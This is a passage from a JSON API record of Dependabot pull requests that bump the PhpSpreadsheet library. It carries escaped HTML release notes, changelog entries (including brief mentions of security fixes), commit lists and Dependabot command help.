href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-09 - 5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRemoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9b90dee03deb0d28761479c4a3a06fba5f7e012e\"\u003e\u003ccode\u003e9b90dee\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4857\"\u003e#4857\u003c/a\u003e from oleibman/changelog20260406\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f302b3265a3c471438192eea5a8cca26c1d52e88\"\u003e\u003ccode\u003ef302b32\u003c/code\u003e\u003c/a\u003e Prepare Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4a476071b3e0d633906251d95e73ad7464a32337\"\u003e\u003ccode\u003e4a47607\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4850\"\u003e#4850\u003c/a\u003e from oleibman/updatestan\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/8a9e9b561043ad5c9ed869a9c9b6658a7b1c50c3\"\u003e\u003ccode\u003e8a9e9b5\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e from oleibman/csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5d6d7d537f941ecfff5990f33558bad74d075be5\"\u003e\u003ccode\u003e5d6d7d5\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/6f23fe3d8c3b2604360bbc4d1778a1f41d6c1d52\"\u003e\u003ccode\u003e6f23fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e from oleibman/xlookup\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/78a151d340b239eb8b432b0ace09c02af4499095\"\u003e\u003ccode\u003e78a151d\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into xlookup\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/49035ade39047cbc60e0f09f1f22dab7c6860ee2\"\u003e\u003ccode\u003e49035ad\u003c/code\u003e\u003c/a\u003e Update CHANGELOG.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/e2927cfa715e9dfd0a717ab8a901095a79292a07\"\u003e\u003ccode\u003ee2927cf\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/93c94eb31d59b8248b1d510e1fb5f2f46bc77dce\"\u003e\u003ccode\u003e93c94eb\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/5.5.0...5.6.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=5.5.0\u0026new-version=5.6.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/nextcloud/forms/pull/3282","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/nextcloud%2Fforms/issues/3282","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/3282/packages"}},{"old_version":"1.6.0","new_version":"1.30.0","update_type":"minor","path":null,"pr_created_at":"2026-04-04T15:55:10.000Z","version_change":"1.6.0 → 1.30.0","issue":{"uuid":"4205229038","node_id":"PR_kwDOCvdZWc7P99mg","number":1,"state":"closed","title":"Bump phpoffice/phpspreadsheet from 1.6.0 to 1.30.0","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-28T23:31:07.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-04T15:55:10.000Z","updated_at":"2026-04-28T23:31:09.000Z","time_to_close":2100957,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"1.6.0","new_version":"1.30.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 1.6.0 to 1.30.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.30.0\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.29.12\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd to all readers the option to allow or forbid fetching external images. This is unconditionally allowed now. The default will be set to \u0026quot;allow\u0026quot;, so no code changes are necessary. However, we are giving consideration to changing the default.[PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4545\"\u003e#4545\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4545\"\u003ePHPOffice/PhpSpreadsheet#4545\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.29.11\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow php-cs-fixer to Handle Implicit Backslashes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow spreadsheet to be serialized. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4405\"\u003e#4405\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4405\"\u003ePHPOffice/PhpSpreadsheet#4405\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTEXT and TIMEVALUE functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003e#4249\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003ePHPOffice/PhpSpreadsheet#4249\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4352\"\u003e#4352\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4352\"\u003ePHPOffice/PhpSpreadsheet#4352\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoving Columns/Rows Containing Merged Cells. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4465\"\u003e#4465\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4465\"\u003ePHPOffice/PhpSpreadsheet#4465\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow Xlsx Reader to Specify ParseHuge. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003e#4260\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003ePHPOffice/PhpSpreadsheet#4260\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4515\"\u003e#4515\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4515\"\u003ePHPOffice/PhpSpreadsheet#4515\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.29.10\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow version 1 and 2 of \u003ccode\u003ecomposer/pcre\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eXls writer Parser Mishandling True/False Argument. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4333\"\u003e#4333\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4333\"\u003ePHPOffice/PhpSpreadsheet#4333\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls writer Parser Parse By Character Not Byte. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4344\"\u003e#4344\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4344\"\u003ePHPOffice/PhpSpreadsheet#4344\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.29.9\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBackported security patch for control characters in protocol.\u003c/li\u003e\n\u003cli\u003eUse Composer\\Pcre in Xls/Parser. Partial backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4203\"\u003e#4203\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4203\"\u003ePHPOffice/PhpSpreadsheet#4203\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.29.8\u003c/h2\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eWorksheet::getHashCode is no longer needed.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBackported security patch for Html navigation.\u003c/li\u003e\n\u003cli\u003eChange hash code for worksheet. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4207\"\u003e#4207\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4207\"\u003ePHPOffice/PhpSpreadsheet#4207\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.PHPExcel.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog for PHPExcel\u003c/h1\u003e\n\u003cp\u003eThis is the historic changelog of the project when it was still called PHPExcel.\nIt exists only for historical purposes and versions mentioned here should not be\nconfused with PhpSpreadsheet versions.\u003c/p\u003e\n\u003ch2\u003e[1.8.1] - 2015-04-30\u003c/h2\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix for Writing an Open Document cell with non-numeric formula - \u003ca href=\"https://github.com/goncons\"\u003e\u003ccode\u003e@​goncons\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/397\"\u003e#397\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAvoid potential divide by zero in basedrawing - \u003ca href=\"https://github.com/sarciszewski\"\u003e\u003ccode\u003e@​sarciszewski\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/329\"\u003e#329\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eXML External Entity (XXE) Processing, different behaviour between simplexml_load_string() and simplexml_load_file(). - \u003ca href=\"https://github.com/ymaerschalck\"\u003e\u003ccode\u003e@​ymaerschalck\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/405\"\u003e#405\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix to ensure that current cell is maintained when executing formula calculations - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep/set the value on Reader _loadSheetsOnly as NULL, courtesy of Restless-ET - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/350\"\u003e#350\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eLoading an Excel 2007 spreadsheet throws an \u0026quot;Autofilter must be set on a range of cells\u0026quot; exception - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e [CodePlex \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/18105\"\u003e#18105\u003c/a\u003e](\u003ca href=\"https://phpexcel.codeplex.com/workitem/18105\"\u003ehttps://phpexcel.codeplex.com/workitem/18105\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix to autoloader registration for backward compatibility with PHP 5.2.0 not accepting the prepend flag - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/388\"\u003e#388\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDOM loadHTMLFile() failing with options flags when using PHP \u0026lt; 5.4.0 - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/384\"\u003e#384\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix for percentage operator in formulae for BIFF Writer - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix to getStyle() call for cell object - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDiscard Autofilters in Excel2007 Reader when filter range isn't a valid range - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix invalid NA return in VLOOKUP - \u003ca href=\"https://github.com/frozenstupidity\"\u003e\u003ccode\u003e@​frozenstupidity\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/423\"\u003e#423\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u0026quot;No Impact\u0026quot; conditional formatting fix for NumberFormat - \u003ca href=\"https://github.com/wiseloren\"\u003e\u003ccode\u003e@​wiseloren\u003c/code\u003e\u003c/a\u003e [CodePlex \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/21454\"\u003e#21454\u003c/a\u003e](\u003ca href=\"https://phpexcel.codeplex.com/workitem/21454\"\u003ehttps://phpexcel.codeplex.com/workitem/21454\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eBug in Excel2003XML reader, parsing merged cells - \u003ca href=\"https://github.com/bobwitlox\"\u003e\u003ccode\u003e@​bobwitlox\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/467\"\u003e#467\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix for CEIL() and FLOOR() when number argument is zero - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/302\"\u003e#302\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eGeneral\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRemove cells cleanly when calling RemoveRow() or RemoveColumn() - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSmall performance improvement for autosize columns - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eChange the getter/setter for zeroHeight to camel case - \u003ca href=\"https://github.com/frost-nzcr4\"\u003e\u003ccode\u003e@​frost-nzcr4\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/379\"\u003e#379\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDefaultValueBinder is too much aggressive when converting string to numeric - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/394\"\u003e#394\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDefault precalculate formulas to false for writers - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet default Cyclic Reference behaviour to 1 to eliminate exception when using a single cyclic iteration in formulae - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSome Excel writer libraries erroneously use Codepage 21010 for UTF-16LE - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e \u003ca 